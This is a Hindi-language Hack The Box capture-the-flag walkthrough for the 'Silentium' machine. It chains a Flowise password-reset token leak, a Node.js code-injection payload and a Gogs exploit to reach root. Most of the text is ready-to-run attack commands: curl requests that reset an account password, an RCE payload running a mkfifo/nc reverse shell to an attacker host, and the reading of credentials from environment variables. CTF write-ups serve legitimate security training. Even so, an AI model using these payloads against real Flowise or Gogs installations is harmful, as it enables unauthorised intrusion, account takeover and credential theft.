
Hack The Box - Silentium मशीन राइटअप | CVE-2025-58434, CVE-2025-59528, CVE-2025-8110
nmap -sC -sV -p- --min-rate 5000 <IP> -oN nmap.txt
खुले पोर्ट: 22 (SSH), 80 (HTTP)
staging.silentium.htb Flowise 3.0.5 चलाता हैforgot-password एंडपॉइंट tempToken को सीधे API प्रतिक्रिया में लीक कर देता है।
curl -s http://staging.silentium.htb/api/v1/account/forgot-password \
-X POST -H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]"}}'
लीक हुए tempToken का उपयोग पासवर्ड रीसेट करने के लिए करें:
curl -s http://staging.silentium.htb/api/v1/account/reset-password \
-X POST -H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]","tempToken":"<TOKEN>","password":"Hacked123!"}}'
API कुंजी प्राप्त करने के लिए लॉगिन करें, फिर RCE ट्रिगर करें:
curl -s http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <API_KEY>" \
-d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(()=>{process.mainModule.require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <LHOST> 443 >/tmp/f\");return 1;})()})"}}'
Docker कंटेनर के अंदर root शेल मिल गया।
पर्यावरण चरों की जाँच की:
env
क्रेडेंशियल मिले:
FLOWISE_USERNAME=benFLOWISE_PASSWORD=F1l3_d0ck3rहोस्ट पर SSH करें:
ssh ben@<IP>
Gogs आंतरिक रूप से पोर्ट 3001 पर root के रूप में चल रहा है।
SSH टनल सेट करें:
ssh -L 8080:127.0.0.1:3001 ben@<IP>
http://127.0.0.1:8080 के माध्यम से Gogs पर खाता पंजीकृत किया, API टोकन जनरेट किया।
TYehan का एक्सप्लॉइट उपयोग किया:
python3 exploit.py \
--url http://127.0.0.1:8080 \
--username <user> \
--password <pass> \
--token <token> \
--host <LHOST> \
--port 4446
रूट शेल मिल गया! 🎉
/home/ben/user.txt/root/root.txt/etc/hosts में जोड़ा गया: